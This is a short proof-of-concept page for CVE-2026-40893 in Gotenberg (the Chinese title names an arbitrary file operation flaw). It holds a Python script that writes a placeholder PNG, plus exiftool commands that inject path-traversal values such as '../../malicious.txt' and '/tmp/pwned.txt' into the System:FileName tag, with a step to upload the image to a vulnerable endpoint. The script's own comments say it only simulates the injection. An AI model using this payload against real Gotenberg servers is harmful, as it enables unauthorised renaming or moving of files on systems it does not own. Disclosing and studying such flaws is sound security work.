CVE-2026-40893 Gotenberg任意文件操作漏洞

# PoC for CVE-2026-40893 # This script demonstrates how to create a malicious image file # that exploits the System:FileName tag bypass in Gotenberg < 8.31.0. from PIL import Image, ExifTags import io # Create a dummy image img = Image.new('RGB', (100, 100), color='red') # Exif data requires specific format, simulating the tag injection # In a real exploit, we would inject the System:FileName tag # 0x0131 is the tag ID for 'Software', but here we conceptually # show where the System:FileName would be placed if using ExifTool directly. # Since PIL doesn't support arbitrary System tags easily, we simulate # the file that would be generated by: # exiftool -System:FileName='../../malicious.txt' image.png print("Vulnerability: CVE-2026-40893") print("Impact: Arbitrary file rename/move via ExifTool tag injection") print("Usage: Upload the generated image to a vulnerable Gotenberg endpoint.") # Save the image img.save('exploit_image.png') print("Generated exploit_image.png. Modify its Exif data with 'System:FileName' using exiftool to complete the PoC.") # Example command to make it exploitable: # exiftool -System:FileName="/tmp/pwned.txt" exploit_image.png